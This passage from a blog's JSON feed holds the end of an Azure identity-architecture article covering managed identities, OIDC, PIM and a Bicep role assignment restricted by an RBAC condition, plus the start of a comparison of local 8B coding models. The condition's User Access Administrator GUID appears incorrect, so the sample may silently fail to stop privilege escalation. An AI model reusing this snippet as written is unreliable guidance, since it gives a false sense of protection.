style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eIn 2026, use \u003cstrong\u003eUser-Assigned Managed Identities\u003c/strong\u003e for your self-hosted runners and establish federated credentials between the runner and your GitHub Environment. Only a workflow running in your production environment branch on GitHub can acquire the production deployment token—not a developer\u0026rsquo;s local machine, not a fork, not a branch named \u003ccode\u003emain-copy\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"4-constraining-administration-with-rbac-conditions\"\u003e4. Constraining Administration with RBAC Conditions\u003c/h2\u003e\n\u003cp\u003eThe \u0026ldquo;Owner\u0026rdquo; role is too powerful. It lets a user grant \u003cem\u003eother\u003c/em\u003e people \u0026ldquo;Owner\u0026rdquo; access, which means one compromised admin can create another compromised admin. Your governance doesn\u0026rsquo;t survive that.\u003c/p\u003e\n\u003cp\u003eIn 2026, use \u003cstrong\u003eRBAC Conditions\u003c/strong\u003e to restrict administrative reach.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eExample:\u003c/strong\u003e Grant \u0026ldquo;Owner\u0026rdquo; but block the ability to assign the \u0026ldquo;Owner\u0026rdquo; or \u0026ldquo;User Access Administrator\u0026rdquo; roles to anyone else. This stops privilege escalation even when an admin account is compromised.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e platformOwner \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Authorization/roleAssignments@2022-04-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#a6e22e\"\u003eguid\u003c/span\u003e(principalId, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Owner\u0026#39;\u003c/span\u003e, scope)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    roleDefinitionId: \u003cspan style=\"color:#a6e22e\"\u003esubscriptionResourceId\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Authorization/roleDefinitions\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;8e3af657-a8ff-443c-a75c-2fe8c4bcb635\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    principalId: principalId\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e Limit what this Owner can assign to others\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    conditionVersion: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;2.0\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    condition: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;((!(ActionMatches{\\\u0026#39;Microsoft.Authorization/roleAssignments/write\\\u0026#39;})) OR (@Request[Microsoft.Authorization/roleAssignments:RoleDefinitionId] ForAnyOfAnyValues:GuidNotEquals {8e3af657-a8ff-443c-a75c-2fe8c4bcb635, 18d7d88d-d4f5-4b35-97b4-c3f4b4b9b9b6}))\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eZero Standing Access:\u003c/strong\u003e No human should have permanent administrative rights in production. Use PIM.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSecret-less Pipelines:\u003c/strong\u003e Use OIDC for CI/CD. Stop managing \u003ccode\u003eAZURE_CLIENT_SECRET\u003c/code\u003e in GitHub.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eScoped Identities:\u003c/strong\u003e Use User-Assigned Managed Identities for platform automation to decouple identity from resource lifecycle.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConditions are Mandatory:\u003c/strong\u003e Use RBAC conditions to prevent \u0026ldquo;Admin sprawl\u0026rdquo; and ensure your governance remains intact.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-policy-governance/\"\u003eGovernance at Scale: Writing and Deploying Azure Policies with Terraform and Bicep\u003c/a\u003e to use these identities to deploy and enforce Azure Policies.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-cicd/\"\u003eCI/CD Pipeline for Your Landing Zone: Deploying Azure Verified Modules with GitHub Actions\u003c/a\u003e to build the GitHub Actions workflow that uses OIDC to deploy your landing zone.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/identity-and-access-management\"\u003eMicrosoft Learn: Azure Identity and Access Management Best Practices\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure\"\u003eMicrosoft Learn: What is Privileged Identity Management?\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect\"\u003eGitHub Docs: About security hardening with OpenID Connect\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Design the identity layer of an Azure landing zone. Covers Entra ID vs Azure RBAC, Privileged Identity Management (PIM), and secret-less OIDC authentication for GitHub Actions.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-identity-architecture/","title":"Identity and Access Architecture for Azure Landing Zones: Entra ID, RBAC, and PIM"},{"content":"\u003cp\u003eYou\u0026rsquo;ve configured Ollama, built a custom Modelfile, and wired it to OpenCode. The stack works. Then you ask the model to generate a React component using the \u003ccode\u003euse()\u003c/code\u003e hook from React 19, and it confidently produces code using patterns from React 16. You try a Rust async function with 2024 edition semantics, and the model writes something that compiled fine in 2021.\u003c/p\u003e\n\u003cp\u003eThe infrastructure isn\u0026rsquo;t the problem. The model\u0026rsquo;s training data cutoff is. Picking the right model for your specific workload matters more than most setup guides acknowledge.\u003c/p\u003e\n\u003ch2 id=\"why-the-8b-class-dominates-local-development\"\u003eWhy the 8B Class Dominates Local Development\u003c/h2\u003e\n\u003ch3 id=\"the-capability-threshold\"\u003eThe Capability Threshold\u003c/h3\u003e\n\u003cp\u003eModern 7B and 8B coding models in 2026 outperform the 70B general-purpose models from early 2025 on coding benchmarks — same capability, a fraction of the memory. The reason is specialized training. A model trained on 2.5 to 5.5 trillion tokens of code-specific data develops different internal representations than a generalist model of any size. The coding models understand how function scopes nest, how type systems constrain APIs, and how common framework patterns translate across languages. A generalist model of the same size knows about everything, shallowly.\u003c/p\u003e\n\u003cp\u003eAt Q4_K_M quantization, an 8B coding model fits in 4.7–5.0GB of VRAM and generates at approximately 45–65 tokens/sec on hardware like an RTX 3070 or Apple M3 Max. That\u0026rsquo;s the practical sweet spot: fast enough to use daily, capable enough to handle the majority of real development tasks.\u003c/p\u003e\n\u003cp\u003eModels larger than 8B at Q4_K_M require 12GB+ VRAM. Models smaller than 7B show noticeable degradation on tasks requiring multi-step logic. The 7B-8B class is where consumer hardware and useful capability intersect right now.\u003c/p\u003e\n\u003ch3 id=\"what-actually-matters-in-practice\"\u003eWhat Actually Matters in Practice\u003c/h3\u003e\n\u003cp\u003eHumanEval and similar coding benchmarks measure whether a model can write a specific function from a docstring. That\u0026rsquo;s a spelling test, not a development workflow. What matters daily:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eInstruction following:\u003c/strong\u003e Does it do what you asked, or does it creatively re-interpret the prompt?\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eModern syntax awareness:\u003c/strong\u003e Does it know your framework version, or is it generating outdated patterns?\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eContext adherence:\u003c/strong\u003e Does it stay consistent with the file you added, or does it invent variables and imports?\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiff quality:\u003c/strong\u003e Are the generated patch context markers correct, or does the diff fail to apply?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTest models on your actual codebase and your specific language versions. Benchmark scores tell you very little about how a model behaves with your particular framework combinations.\u003c/p\u003e\n\u003ch2 id=\"the-2026-landscape-top-contenders\"\u003eThe 2026 Landscape: Top Contenders\u003c/h2\u003e\n\u003ch3 id=\"qwen35-8b-the-context-and-vision-powerhouse\"\u003eQwen3.5 8B: The Context and Vision Powerhouse\u003c/h3\u003e\n\u003cp\u003eQwen3.5 8B (released 2026 by Alibaba\u0026rsquo;s Qwen team) brings a massive advantage over other models in its weight class: a 128K (131,072) token native context window and native vision support. While tools like Ollama often cap context at 32K by default for practical VRAM constraints, the model\u0026rsquo;s ability to maintain coherence across entire codebases is exceptional. You can feed it your routing layer, your state management, and your UI components, and it won\u0026rsquo;t lose the plot.\u003c/p\u003e\n\u003cp\u003eFurthermore, Qwen3.5\u0026rsquo;s vision support changes the local development workflow. It can natively process UI mockups, architectural diagrams, or database schemas directly within the same context window. You provide a screenshot of a dashboard, and Qwen3.5 8B generates the corresponding React or Vue components with remarkable fidelity.\u003c/p\u003e\n\u003cp\u003eGeneration speed is rapid, and for multi-language projects — Python data pipelines, C++ systems code, TypeScript — Qwen3.5 handles cross-language idiom transitions better than its peers. Its performance on complex algorithmic problems and multi-file refactoring is currently the benchmark for this size class.\u003c/p\u003e\n\u003cp\u003eAdd explicit version constraints to your system prompt to ensure it uses the latest syntax:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-dockerfile\" data-lang=\"dockerfile\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eqwen3.5:8b\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;You are an expert developer. Always use the latest stable APIs.\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFor Python, target 3.12+ features. For TypeScript, use 5.x syntax.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIf you are uncertain about a specific framework version, say so explicitly\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erather than generating code that may be outdated.\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx \u003cspan style=\"color:#ae81ff\"\u003e32768\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull qwen3.5:8b\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"gemma-4-e4b-8b-total-the-efficiency-and-multimodal-edge\"\u003eGemma 4 E4B (8B Total): The Efficiency and Multimodal Edge\u003c/h3\u003e\n\u003cp\u003eGoogle\u0026rsquo;s Gemma 4 family (released April 2026) introduced a fundamental shift, abandoning standard size brackets for \u0026ldquo;Effective\u0026rdquo; parameters. The Gemma 4 E4B model has 8 billion total parameters but operates with only 4.5B effective parameters per forward pass, using Per-Layer Embeddings (PLE). This results in exceptional memory efficiency without sacrificing the capabilities expected of an 8B model.\u003c/p\u003e\n\u003cp\u003eBeyond efficiency, Gemma 4 E4B stands out for being natively multimodal—handling text, images, and audio smoothly. For developers building multimodal applications or edge computing tools, Gemma 4 is currently the undisputed leader. It allows you to process voice commands or analyze audio streams directly within your local AI coding environment, opening up entirely new classes of applications you 